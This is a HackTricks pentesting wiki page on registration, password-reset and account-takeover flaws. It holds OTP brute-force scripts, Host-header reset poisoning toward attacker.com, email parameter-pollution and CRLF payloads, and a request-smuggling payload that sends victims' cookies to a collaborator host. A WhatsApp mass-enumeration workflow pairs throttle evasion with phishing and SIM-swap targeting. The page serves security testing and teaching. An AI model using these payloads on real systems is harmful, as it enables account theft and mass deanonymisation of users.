registration-vulnerabilities.md (17386B)
1 --- 2 title: "Registration & Takeover Vulnerabilities" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/registration-vulnerabilities.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/registration-vulnerabilities.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Registration & Takeover Vulnerabilities 14 15 ## Registration Takeover 16 17 ### Duplicate Registration 18 19 - Try to generate using an existing username 20 - Check varying the email: 21 - uppercase 22 - +1@ 23 - add some dot in the email 24 - special characters in the email name (%00, %09, %20) 25 - Put blank characters after the email: `test@test.com a` 26 - victim@gmail.com@attacker.com 27 - victim@attacker.com@gmail.com 28 - Try email provider canonicalization tricks (service-dependent): 29 - Gmail ignores dots and subaddressing: `victim+1@gmail.com`, `v.ic.tim@gmail.com` deliver to `victim@gmail.com` 30 - Some providers are case-insensitive in the local-part 31 - Some providers accept unicode confusables. Try homoglyphs and soft hyphen `\u00AD` within the local-part 32 - Abuse these to: bypass uniqueness checks, obtain duplicate accounts/workspace invites, or block victim sign‑ups (temporary DoS) while you prepare a takeover 33 34 ### Username Enumeration 35 36 Check if you can figure out when a username has already been registered inside the application. 37 38 - Different error messages or HTTP status codes 39 - Timing differences (existing user may trigger lookup to IdP/DB) 40 - Registration form autofill of profile data for known emails 41 - Check team/invite flows: entering an email may reveal whether an account exists 42 43 ### Password Policy 44 45 When creating a user, check whether the password policy permits weak passwords. If it does, assess whether credential brute force is also insufficiently rate-limited. 46 47 ### SQL Injection 48 49 [**Check this page**](sql-injection/index.html#insert-statement) for techniques to test **SQL injection** in registration forms, including account-takeover and data-extraction paths. 50 51 ### OAuth Takeovers 52 53 54 [Oauth To Account Takeover](/hacktricks/pentesting-web/oauth-to-account-takeover) 55 56 ### SAML Vulnerabilities 57 58 59 [Saml Attacks](/hacktricks/pentesting-web/saml-attacks/overview) 60 61 ### Change Email 62 63 After registration, try changing the email address and verify that ownership of the new address is validated before it becomes trusted. 64 65 ### More Checks 66 67 - Check if you can use **disposable emails** (mailinator, yopmail, 1secmail, etc.) or bypass the blocklist with subaddressing like `victim+mailinator@gmail.com` 68 - **Long** **password** (>200) leads to **DoS** 69 - **Check rate limits on account creation** 70 - Use username@**burp_collab**.net and analyze the **callback** 71 - If phone number verification is used, check phone parsing/injection edge cases 72 73 [Phone Number Injections](/hacktricks/pentesting-web/phone-number-injections) 74 75 [Captcha Bypass](/hacktricks/pentesting-web/captcha-bypass) 76 77 ### Contact-discovery / identifier-enumeration oracles 78 79 Phone-number–centric messengers expose a **presence oracle** whenever the client syncs contacts. Replaying WhatsApp’s discovery requests historically delivered **>100M lookups per hour**, enabling near-complete account enumerations.<sup>[[4]](#references)</sup> 80 81 **Attack workflow** 82 83 1. **Instrument an official client** to capture the address-book upload request (authenticated blob of normalized E.164 numbers). Replay it with attacker-generated numbers while reusing the same cookies/device token. 84 2. **Batch numbers per request**: WhatsApp accepts thousands of identifiers and returns registered/unregistered plus metadata (business, companion, etc.). Analyze responses offline to build target lists without messaging victims. 85 3. **Horizontally scale** enumeration with SIM banks, cloud devices, or residential proxies so per-account/IP/ASN throttling never triggers. 86 87 **Dialing-plan modeling** 88 89 Model each country’s dialing plan to skip invalid candidates. The NDSS dataset (`country-table.*`) lists country codes, adoption density, and platform split so you can prioritize high-hit ranges. Example seeding code: 90 91 ```python 92 import pandas as pd 93 from itertools import product 94 95 df = pd.read_csv("country-table.csv") 96 row = df[df["Country"] == "India"].iloc[0] 97 prefix = "+91" # India mobile numbers are 10 digits 98 for suffix in product("0123456789", repeat=10): 99 candidate = prefix + "".join(suffix) 100 enqueue(candidate) 101 ``` 102 103 Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful. 104 105 **Turning enumerations into targeted attacks** 106 107 - Feed leaked phone numbers (e.g., Facebook’s 2021 breach) into the oracle to learn which identities are still active before phishing, SIM-swapping, or spamming. 108 - Slice censuses by country/OS/app type to find regions with weak SMS filtering or heavy WhatsApp Business adoption for localized social engineering. 109 110 **Public-key reuse correlation** 111 112 WhatsApp exposes each account’s X25519 identity key during session setup. Request identity material for every enumerated number and deduplicate the public keys to reveal account farms, cloned clients, or insecure firmware—shared keys deanonymize multi-SIM operations. 113 114 ## Weak Email/Phone Verification (OTP/Magic Link) 115 116 Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws: 117 118 - Guessable or short OTP (4–6 digits) with no effective rate limiting or IP/device tracking. Try parallel guesses and header/IP rotation. 119 - OTP reuse across actions or accounts, or not bound to the specific user/action (e.g., same code works for login and signup, or works after email is changed). 120 - Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try: 121 - `code=000000&code=123456` 122 - JSON arrays: `{"code":["000000","123456"]}` 123 - Mixed parameter names: `otp=000000&one_time_code=123456` 124 - Comma/pipe separated values: `code=000000,123456` or `code=000000|123456` 125 - Response oracle: distinguish wrong vs expired vs wrong-user codes by status/message/body length. 126 - Tokens not invalidated after success or after password/email change. 127 - Verification token not tied to user agent/IP allowing cross-origin completion from attacker-controlled pages. 128 129 Bruteforcing example with ffuf against a JSON OTP endpoint: 130 131 ```bash 132 ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \ 133 -H 'Content-Type: application/json' \ 134 -d '{"email":"victim@example.com","code":"FUZZ"}' \ 135 -fr 'Invalid|Too many attempts' -mc all 136 ``` 137 138 Parallel/concurrent guessing to bypass sequential lockouts (use Turbo Intruder in Burp): 139 140 <details> 141 <summary>Turbo Intruder snippet to flood 6‑digit OTP attempts</summary> 142 143 ```python 144 def queueRequests(target, wordlists): 145 engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) 146 for code in range(0,1000000): 147 body = '{"email":"victim@example.com","code":"%06d"}' % code 148 engine.queue(target.req, body=body) 149 150 151 def handleResponse(req, interesting): 152 if req.status != 401 and b'Invalid' not in req.response: 153 table.add(req) 154 ``` 155 </details> 156 157 - Try racing verification: submit the same valid OTP simultaneously in two sessions; sometimes one session becomes a verified attacker account while the victim flow also succeeds. 158 - Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host. 159 160 [Rate Limit Bypass](/hacktricks/pentesting-web/rate-limit-bypass) 161 162 [2Fa Bypass](/hacktricks/pentesting-web/2fa-bypass) 163 164 [Email Injections](/hacktricks/pentesting-web/email-injections) 165 166 ## Account Pre‑Hijacking Techniques (before the victim signs up) 167 168 A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later. 169 170 Key techniques to test (adapt to the target’s flows): 171 172 - Classic–Federated Merge 173 - Attacker: registers a classic account with victim email and sets a password 174 - Victim: later signs up with SSO (same email) 175 - Insecure merges may leave both parties logged in or resurrect the attacker’s access 176 - Unexpired Session Identifier 177 - Attacker: creates account and holds a long‑lived session (don’t log out) 178 - Victim: recovers/sets password and uses the account 179 - Test if old sessions stay valid after reset or MFA enablement 180 - Trojan Identifier 181 - Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP) 182 - Victim: resets password; attacker later uses the trojan identifier to reset/login 183 - Unexpired Email Change 184 - Attacker: initiates email‑change to attacker mail and withholds confirmation 185 - Victim: recovers the account and starts using it 186 - Attacker: later completes the pending email‑change to steal the account 187 - Non‑Verifying IdP 188 - Attacker: uses an IdP that does not verify email ownership to assert `victim@…` 189 - Victim: signs up via classic route 190 - Service merges on email without checking `email_verified` or performing local verification 191 192 Practical tips 193 194 - Harvest flows and endpoints from web/mobile bundles. Look for classic signup, SSO linking, email/phone change, and password reset endpoints. 195 - Create realistic automation to keep sessions alive while you exercise other flows. 196 - For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs. 197 - After any password reset or email change, verify that: 198 - all other sessions and tokens are invalidated, 199 - pending email/phone change capabilities are cancelled, 200 - previously linked IdPs/emails/phones are re‑verified. 201 202 Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).<sup>[[2]](#references)</sup> 203 204 [Reset Password](/hacktricks/pentesting-web/reset-password) 205 206 [Race Condition](/hacktricks/pentesting-web/race-condition) 207 208 ## **Password Reset Takeover** 209 210 ### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a> 211 212 1. Request password reset to your email address 213 2. Click on the password reset link 214 3. Don’t change password 215 4. Click any 3rd party websites(eg: Facebook, twitter) 216 5. Intercept the request in Burp Suite proxy 217 6. Check if the referer header is leaking password reset token. 218 219 ### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a> 220 221 1. Intercept the password reset request in Burp Suite 222 2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 223 3. Forward the request with the modified header\ 224 `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 225 4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN` 226 227 ### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a> 228 229 ```bash 230 # parameter pollution 231 email=victim@mail.com&email=hacker@mail.com 232 233 # array of emails 234 {"email":["victim@mail.com","hacker@mail.com"]} 235 236 # carbon copy 237 email=victim@mail.com%0A%0Dcc:hacker@mail.com 238 email=victim@mail.com%0A%0Dbcc:hacker@mail.com 239 240 # separator 241 email=victim@mail.com,hacker@mail.com 242 email=victim@mail.com%20hacker@mail.com 243 email=victim@mail.com|hacker@mail.com 244 ``` 245 246 ### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a> 247 248 1. Attacker have to login with their account and go to the **Change password** feature. 249 2. Start the Burp Suite and Intercept the request 250 3. Send it to the repeater tab and edit the parameters : User ID/email\ 251 `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` 252 253 ### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a> 254 255 The password reset token should be randomly generated and unique every time.\ 256 Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.<sup>[[3]](#references)</sup> 257 258 - Timestamp 259 - UserID 260 - Email of User 261 - Firstname and Lastname 262 - Date of Birth 263 - Cryptography 264 - Number only 265 - Small token sequence ( characters between \[A-Z,a-z,0-9]) 266 - Token reuse 267 - Token expiration date 268 269 ### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a> 270 271 1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com 272 2. Inspect the server response and check for `resetToken` 273 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` 274 275 ### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a> 276 277 1. Register on the system with a username identical to the victim’s username, but with white spaces inserted before and/or after the username. e.g: `"admin "` 278 2. Request a password reset with your malicious username. 279 3. Use the token sent to your email and reset the victim password. 280 4. Connect to the victim account with the new password. 281 282 The platform CTFd was vulnerable to this attack.\ 283 See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) 284 285 ### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a> 286 287 1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com` 288 2. Leak the current **sessions cookie** 289 3. Authenticate as the user using the cookie 290 291 ### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a> 292 293 1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\ 294 `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 295 2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\ 296 `GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\ 297 3. Final request could look like the following 298 299 ```text 300 GET / HTTP/1.1 301 Transfer-Encoding: chunked 302 Host: something.com 303 User-Agent: Smuggler/v1.0 304 Content-Length: 83 305 0 306 307 GET http://something.burpcollaborator.net HTTP/1.1 308 X: X 309 ``` 310 311 Hackerone reports exploiting this bug\ 312 * [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ 313 * [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) 314 315 ### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a> 316 317 1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change” 318 2. Send the payload 319 320 ### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a> 321 322 JSON Web Tokens may be used to authenticate a user. 323 324 - Edit the JWT with another User ID / Email 325 - Check for weak JWT signature 326 327 328 [Hacking Jwt Json Web Tokens](/hacktricks/pentesting-web/hacking-jwt-json-web-tokens) 329 330 ## Registration-as-Reset (Upsert on Existing Email) 331 332 Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.<sup>[[1]](#references)</sup> 333 334 - Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch. 335 - Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected. 336 - Minimal body observed in the wild: 337 338 ```json 339 {"email":"victim@example.com","password":"New@12345"} 340 ``` 341 342 Example PoC: 343 344 ```http 345 POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1 346 Host: www.target.tld 347 Content-Type: application/json 348 349 {"email":"victim@example.com","password":"New@12345"} 350 ``` 351 352 Impact: Full Account Takeover (ATO) without any reset token, OTP, or email verification. 353 354 ## References 355 356 - [1] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) 357 - [2] [Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)](https://msrc.microsoft.com/blog/2022/05/pre-hijacking-attacks/) 358 - [3] [SalmonSec – Account Takeover cheatsheet](https://salmonsec.com/cheatsheet/account_takeover) 359 - [4] [Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)](https://github.com/sbaresearch/whatsapp-census)